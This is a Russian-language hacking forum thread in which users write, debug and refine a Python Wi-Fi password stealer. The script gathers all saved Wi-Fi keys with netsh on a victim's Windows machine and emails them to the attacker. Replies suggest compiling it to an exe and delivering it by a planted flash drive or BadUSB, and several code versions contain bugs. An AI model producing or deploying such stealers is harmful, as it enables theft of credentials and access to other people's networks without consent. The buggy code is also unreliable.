Интересно Написание стиллера паролей от wifi

perekhvat-i-analiz-wifi-trafika-02.jpg
Всем привет)
Захотел написать статью о создании стиллера, ну так вот...

Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.

Работать это будет так:

1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту

Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)

Для начала импортируем нужные библиотеки:

Python:
import subprocess # для управления системой
import smtplib # для отправки сообщения на почту

Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:

Python:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра
    server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту
    server.starttls() # запуск
    server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо
    server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения
    server.quit() # закрытие соединения

Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству

Python:
command = "netsh wlan show profile"

С помощью subprocess выполним эту команду и запишем результат в переменную "сети"

Python:
networks = subprocess.check_output(command, shell=True)

Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки "re"

Python:
import re
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную "результат" и отправим нам на почту

Python:
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear" # команда
    current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат"
    result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий

И отправка на почту

Python:
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.

Теперь чистый код

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send.mail("my_email", "my_password", result)

На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
 
Последнее редактирование модератором:

CMDfromBAT

"Рыбак" со стажем
Всем привет)
Захотел написать статью о создании стиллера, ну так вот...

Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.

Работать это будет так:

1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту

Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)

Для начала импортируем нужные библиотеки:

Python:
import subprocess # для управления системой
import smtplib # для отправки сообщения на почту

Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:

Python:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра
    server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту
    server.starttls() # запуск
    server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо
    server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения
    server.quit() # закрытие соединения

Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству

Python:
command = "netsh wlan show profile"

С помощью subprocess выполним эту команду и запишем результат в переменную "сети"

Python:
networks = subprocess.check_output(command, shell=True)

Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки "re"

Python:
import re
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную "результат" и отправим нам на почту

Python:
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear" # команда
    current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат"
    result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий

И отправка на почту

Python:
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.

Теперь чистый код

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send.mail("my_email", "my_password", result)

На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
Как я сам до этого не додумался?
Очень полезно, учитывая что часто приходится физически работать с жертвой)
 
A

Albex

Ну это надо по соседству с жертвой жить. WiFi, а также многие другие пароли (из браузеров и т.д.) ворует тестирует хорошо, например, lazagne. Тоже на python написана. Но самому написать всегда приятно.
 
Последнее редактирование модератором:
P

pavelpers123

привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код

File *путь к файлу*, line 48, in <module>
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

люди помогите плиз
 
привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код

File *путь к файлу*, line 48, in <module>
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

люди помогите плиз

чекни личку
 
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил -
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку

Python:
result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result
 
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил -
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку

Python:
result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

короче внимательней мне свою писанину проверять надо, чтоб таких инцидентов больше не было
 
T

Terezamain

и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
 
P

pavelpers123

и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
 

CMDfromBAT

"Рыбак" со стажем
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
Камон, достаточно прост флешку подкинуть и все. Все просто и понятно, дети
 
P

pavelpers123

я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)
 
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)

красава! не поленился, запарился)
 
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)

попробуй вот это:

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)
 
P

pavelpers123

не работает, но это потому что у меня есть сохраненые пароли от режима модема айфона, и cmd спецально скрывает или он просто не может выводить русские символы и получается имя этого wifi - "Iphone(?????)" поэтому нужно также пропускать когда появляется какая то ошибка.
В 20 строчке
current_result = subprocess.check_output(command, shell=True) (там вместо нижнего подчеркивания точка стоит)

попробуй вот это:

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)
 
A

Albex

Разве python автоматически не работает только с юникодом?
 
Похожие темы
Traffpost На проверке Услуги Вконтакте - Написание и размещение уникальных комментариев Ищу работу. Предлагаю свои услуги. 1
Anorali Интересно Как поймать хацкера за попу или написание своего honeypot'а Полезные статьи 3
Y Написание уникального ПО/Формирование ботнет сети/Конкуренция в сети/Програмирование Ищу работу. Предлагаю свои услуги. 0
G Написание ПО на заказ! Ищу работу. Предлагаю свои услуги. 6
NickelBlack Логи стиллера ЮС Раздачи и сливы 0
S Необработанные логи со стиллера Раздачи и сливы 1
NickelBlack Раздача логов со стиллера Раздачи и сливы 3
D Логи со стиллера Раздачи и сливы 2
NickelBlack Логи стиллера. Отработка. Раздачи и сливы 1
NickelBlack Интересно Обработка ваших логов стиллера Ищу работу. Предлагаю свои услуги. 0
АнАлЬнАя ЧуПаКаБрА Облако со стиллера 2018/2019 Раздачи и сливы 8
D Продам Продам логи со стиллера. Все что не подошло по разделу 1
I Исходники стиллера NoFile (пароли, куки, wallet.dat ,телеграмы, скайпы) Программирование 0
I Исходники стиллера Программирование 0
1 Раздача игровых логов со стиллера Раздачи и сливы 1
R Способ выпаривания стиллера Полезные статьи 1
A Раздача логов со стиллера Раздачи и сливы 2
Admin Логи со стиллера Раздачи и сливы 0
T Простенький загрузчик для майнера/стиллера/ратника на C# Программирование 3
F Анализ работы стиллера Готовый софт 4
S Uplay 4k со стиллера Раздачи и сливы 4
АнАлЬнАя ЧуПаКаБрА All Soft by Mr.Alex [Cracked by PC-RET] + Рабочий исходник стиллера Готовый софт 42
Support81 Идеальные фейки, кража карт и паролей — ИИ тихо готовится к войне с людьми? Новости в сети 0
Support81 RTX 5090: Nvidia создала монстра для взлома паролей и скромно назвала его видеокартой Новости в сети 0
Support81 Тотальная утечка: в сети 6 миллиардов паролей, и все те же Новости в сети 0
Emilio_Gaviriya Статья Защита паролей от кейлоггеров Анонимность и приватность 0
balof почт и паролей 895к Раздачи и сливы 3
L Интересно Java - Стиллер паролей в Minecraft моде Программирование 8
F Собираю команду для брута паролей. Готовый софт 0
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
Little_Prince Пак паролей для расшифровки дампов Раздачи и сливы 6
J Стиллер паролей с отправкой по почте. Вирусология 5
M NordPass - менеджер паролей от NordVPN Полезные статьи 0
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
V 13 миллиардов почт и паролей пользователей Полезные статьи 11
M База логинов и паролей Online Уязвимости и взлом 4
Ж Генератор паролей C++ Программирование 0
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Раздачи и сливы 0
T [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Уязвимости и взлом 4
R 16,5 гб паролей для взлома wifi Уязвимости и взлом 2
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Раздачи и сливы 1
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Раздачи и сливы 0
G Seth - MITM атака, перехват RDP паролей. Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
G Слив более 2 миллионов логинов и паролей от E-mail Раздачи и сливы 10
H Огромная база паролей от аккаунтов социальных сетей. Полезные статьи 3
K Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами Уязвимости и взлом 0
K Извлечение всех паролей (веб-браузеры, почтовые программы и пр.) в Windows и Linux Уязвимости и взлом 3

Название темы